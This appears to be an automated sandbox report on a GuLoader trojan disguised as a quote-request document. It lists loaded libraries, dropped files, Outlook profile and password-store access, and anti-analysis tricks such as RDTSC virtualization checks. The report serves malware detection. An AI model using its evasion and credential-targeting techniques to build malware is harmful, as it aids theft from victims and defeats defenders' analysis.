Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A639410	4_2_3A639410
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63F810	4_2_3A63F810
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A631817	4_2_3A631817
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A631CE0	4_2_3A631CE0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63F4F0	4_2_3A63F4F0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A6390F0	4_2_3A6390F0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63C2F0	4_2_3A63C2F0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A6304FA	4_2_3A6304FA
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63D8D0	4_2_3A63D8D0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63A6D0	4_2_3A63A6D0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63BCB0	4_2_3A63BCB0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A638AB0	4_2_3A638AB0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63EEB0	4_2_3A63EEB0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A630E8A	4_2_3A630E8A
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63A090	4_2_3A63A090
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63D290	4_2_3A63D290
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A630E98	4_2_3A630E98
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A631360	4_2_3A631360
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A633360	4_2_3A633360
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A639D70	4_2_3A639D70
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63CF70	4_2_3A63CF70
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A631351	4_2_3A631351
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63E550	4_2_3A63E550
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63B350	4_2_3A63B350
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63C930	4_2_3A63C930
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A639730	4_2_3A639730
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A630508	4_2_3A630508
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63AD10	4_2_3A63AD10
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63DF10	4_2_3A63DF10
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63DBF0	4_2_3A63DBF0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63A9F0	4_2_3A63A9F0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63F1D0	4_2_3A63F1D0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A6309D0	4_2_3A6309D0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A638DD0	4_2_3A638DD0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63BFD0	4_2_3A63BFD0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63D5B0	4_2_3A63D5B0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63A3B0	4_2_3A63A3B0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A6309BF	4_2_3A6309BF
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63B990	4_2_3A63B990
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A638790	4_2_3A638790
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A63EB90	4_2_3A63EB90
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A671B50	4_2_3A671B50
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A673008	4_2_3A673008
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A6736F0	4_2_3A6736F0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A671470	4_2_3A671470
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A672920	4_2_3A672920
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A670D88	4_2_3A670D88
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A672238	4_2_3A672238
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A6747BA	4_2_3A6747BA
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A671B3F	4_2_3A671B3F
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A6736E1	4_2_3A6736E1
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A671466	4_2_3A671466
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A670A10	4_2_3A670A10
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A6708DE	4_2_3A6708DE
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A670960	4_2_3A670960
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A672911	4_2_3A672911
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A672FF8	4_2_3A672FF8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A670D78	4_2_3A670D78
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A672229	4_2_3A672229
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A670040	4_2_3A670040
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_3A670012	4_2_3A670012

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Code function: String function: 00402B3A appears 47 times

Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006EE4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameclr.dllT vs Request for Quote and Collaboration Docs.exe

Source: Request for Quote and Collaboration Docs.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Code function: 0_2_004045CA GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045CA

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

File created: C:\Users\user\selvsikker

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

File created: C:\Users\user\AppData\Local\Temp\nsz7D6B.tmp

Jump to behavior

Source: Request for Quote and Collaboration Docs.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000377CF000.00000004.00000800.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000377C2000.00000004.00000800.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.000000003779D000.00000004.00000800.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.000000003778F000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Request for Quote and Collaboration Docs.exe

ReversingLabs: Detection: 13%

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

File read: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe "C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process created: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe "C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process created: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe "C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.3027175289.000000000793D000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Code function: 0_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406254

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 0_2_10002DA0 push eax; ret	0_2_10002DCE
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_00169C30 push esp; retf 0018h	4_2_00169D55
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016025D push ebx; retf	4_2_0016025B
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0016025D push edx; retf	4_2_001602CB
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_07159231 push es; ret	4_2_07159240

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	File created: \request for quote and collaboration docs.exe
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	File created: \request for quote and collaboration docs.exe			Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

File created: C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	API/Special instruction interceptor: Address: 814C939
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	API/Special instruction interceptor: Address: 667C939

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	RDTSC instruction interceptor: First address: 8111D14 second address: 8111D14 instructions: 0x00000000 rdtsc 0x00000002 cmp ah, dh 0x00000004 cmp ebx, ecx 0x00000006 jc 00007FD2FCC2BD15h 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a test cx, ax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	RDTSC instruction interceptor: First address: 6641D14 second address: 6641D14 instructions: 0x00000000 rdtsc 0x00000002 cmp ah, dh 0x00000004 cmp ebx, ecx 0x00000006 jc 00007FD2FCF9E3A5h 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a test cx, ax 0x0000000d rdtsc

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Memory allocated: 120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Memory allocated: 37560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Memory allocated: 39560000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe TID: 3048	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe TID: 3048	Thread sleep time: -600000s >= -30000s			Jump to behavior

